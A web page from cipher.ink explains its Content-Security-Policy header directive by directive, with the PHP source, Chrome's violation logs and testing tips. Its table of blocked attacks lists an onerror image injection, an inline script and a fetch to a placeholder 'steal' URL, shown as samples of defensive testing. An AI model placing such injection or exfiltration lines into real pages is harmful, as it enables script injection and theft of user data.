Learn · Technologies we use
Content-Security-Policy, explained with a real one
Our exact header, directive by directive, what Chrome actually logs when it blocks an attack, and how to test your own policy.
A Content-Security-Policy (CSP) is an HTTP header that tells the browser what a page may load and do: which scripts can run, where images can come from, where the page can send data. If an attacker gets hostile HTML or script into the page, a browser obeying the policy refuses to run it or to send anything to the attacker. cipher.ink needs one more than most sites, because its whole job is to display HTML that someone else wrote. Below we go through the real header the site sends, directive by directive, show what the browser says when something breaks it, and cover how to test your own.
Why a page that renders hostile HTML needs one
When you open a cipher.ink message, your browser decrypts HTML the sender typed and puts it in the page. The sender could be anyone, and the HTML could contain <script>, an <img onerror="…"> that runs code, or a javascript: link. So the first wall is a sanitizer, DOMPurify, which strips everything except a short allowlist of tags and one attribute (see rendering HTML you do not trust). But sanitizers are programs, and programs have had bugs. Researchers have repeatedly found HTML that survives sanitizing and then turns into script when the browser re-parses it, a family of attacks called mutation XSS (Heiderich and colleagues described it in 2013). A defense that depends on one filter being perfect forever is a bad defense. The CSP is the second wall: even if hostile HTML got through, the browser still wouldn't run its script.
The header, as sent
This is cipher.ink's policy, taken from lib.php on the server each time this page is built, so it can't be out of date:
From lib.php
// No inline script, nothing from another origin but the feedback tab's server ($fb, in script-src and connect-src only).
// Decrypted messages are rendered as HTML, so this is the second wall behind DOMPurify. blob: is for decrypted image
// attachments. worker-src: the tools hash big files and run the sieve in Web Workers (same-origin files only).
header("Content-Security-Policy: default-src 'none'; script-src 'self'$fb; style-src 'self'; " .
"font-src 'self'; img-src 'self' data: blob:; connect-src 'self'$fb; worker-src 'self'; base-uri 'none'; " .
"form-action 'self'; manifest-src 'self'; frame-ancestors 'none'");Read as a whole: nothing is allowed unless it's listed, and everything listed comes from this site.
Directive by directive
default-src 'none'- The starting point. Every kind of load (scripts, images, fonts, frames, plug-ins, connections) is forbidden unless a more specific directive allows it. Starting from
'none'means any new kind of resource added to the web later is blocked by default. script-src 'self'- Scripts load only from files on cipher.ink itself. This is the one that stops cross-site scripting. There's no
'unsafe-inline', so an inline<script>or anonclick=""attribute is refused, and no'unsafe-eval', soeval()andnew Function()are refused too. style-src 'self'- Styles come only from this site's stylesheets. Without
'unsafe-inline',<style>blocks andstyle="…"attributes are refused, which is why no page here has any. (A script can still setelement.style.widththrough the DOM, and that's allowed.) font-src 'self'- Fonts come only from this site. There are no Google Fonts. The four typefaces are files we host.
img-src 'self' data: blob:- Images from this site, plus
data:URIs (small images written into the page) andblob:(decrypted image attachments, which exist only in memory). A tracking pixel from another site is refused. connect-src 'self'- Where script may connect to:
fetch, XMLHttpRequest, WebSocket,sendBeacon. Only cipher.ink. This is what stops a compromised page sending your message somewhere else. worker-src 'self'- Web Workers only from this site. The tools use them to hash big files.
script-srcwould already cover a worker (workers fall back tochild-src, thenscript-src), but naming it states the intent. base-uri 'none'- A
<base href>tag changes where every relative link points, and injected markup could use one to redirect script loads. Forbidden. form-action 'self'- Forms can submit only to this site, so injected markup can't create a form that posts to an attacker.
frame-ancestors 'none'- No other site may put cipher.ink in a frame. That prevents clickjacking, where a page hides your real page under a decoy, and it supersedes the older
X-Frame-Optionsheader.
Some things aren't set. object-src is covered by default-src 'none'. There are no reporting directives, because the only places to report to would be third parties. And we haven't adopted require-trusted-types-for, a newer browser feature that adds a further check on writing to the DOM. Three other headers travel with the policy: Referrer-Policy: no-referrer, X-Content-Type-Options: nosniff, and Strict-Transport-Security with a one-year max-age.
What the browser says when the policy bites
We loaded the site in Chrome and tried the attacks a hostile message would try. Each one was blocked, and Chrome logged why. These are the real messages, lightly shortened:
| What was tried | What Chrome logged |
|---|---|
Insert <img src=x onerror="…"> | Executing inline event handler violates the following Content Security Policy directive 'script-src 'self''. … The action has been blocked. |
Add an inline <script> to the page | Executing inline script violates the following Content Security Policy directive 'script-src 'self''. … The action has been blocked. |
fetch('https://example.com/steal?k=1') | Connecting to 'https://example.com/steal?k=1' violates the following Content Security Policy directive: "connect-src 'self'". The action has been blocked. |
| Load a tracking pixel from another site | Loading the image 'https://example.com/pixel.gif' violates the following Content Security Policy directive: "img-src 'self' data: blob:". The action has been blocked. |
Set style="color:red" on an element | Applying inline style violates the following Content Security Policy directive 'style-src 'self''. … The action has been blocked. |
The handler and the script never ran. That's the second wall working. The test suite includes a message holding <img onerror>, a <script> and a javascript: link, and it requires that none of it survives or runs. The tool tests fail on any console error or any request to another origin.
Designing pages that work under it
A strict CSP is practical only if the site is built for it, and that shaped our code. There's no inline script anywhere, so the data a page needs (the message payload, its flags) travels in a <script type="application/json" id="ci-data"> block. A JSON block isn't executed, so the CSP leaves it alone, and the page's script reads it with JSON.parse. The same goes for the structured data on the content pages (application/ld+json). The server escapes <, > and & inside those blocks so the text </script> can never end the block early. Every click handler is attached from a script file, and every style lives in a stylesheet. Nothing loads from anywhere else, which is also why the site can honestly say it makes zero third-party requests.
How to test a CSP
- Read the console. Open developer tools and look for "violates the following Content Security Policy directive". Every violation is logged with the directive and what was blocked.
- Start in report-only mode. Send
Content-Security-Policy-Report-Onlyinstead of the real header first. The browser logs what would have been blocked, and nothing breaks. Once the log goes quiet, switch to enforcement. - Run an evaluator. Google's CSP Evaluator flags the common mistakes:
'unsafe-inline', wildcards, allowing a whole CDN that hosts attacker-controllable scripts. - Try to break it. Inject markup into your own page in the console, as above, and confirm it's blocked.
The common mistakes, roughly in order of how often they turn up: adding 'unsafe-inline' to make the site work (which switches off the main protection), allowing a domain such as a general-purpose CDN or JSONP endpoint that an attacker can use to serve a script, and forgetting that connect-src is what stops data leaving the page.
How cipher.ink uses this
The header goes out on every page and gets tested on every content page. The site makes 0 requests to any other origin, and the policy turns that into a rule the browser enforces and not just a habit. During the content build we added exactly one directive, worker-src 'self', explicitly, for the tools. The policy is both a safeguard and a limit. It means we can't add analytics, an embedded video or a font from a CDN without changing the policy, and that's deliberate. The CSP can't stop the server itself from sending different JavaScript. That's why the security page states the honest limit that you trust the server for the code it serves, and the annotated source lets you read what it serves today.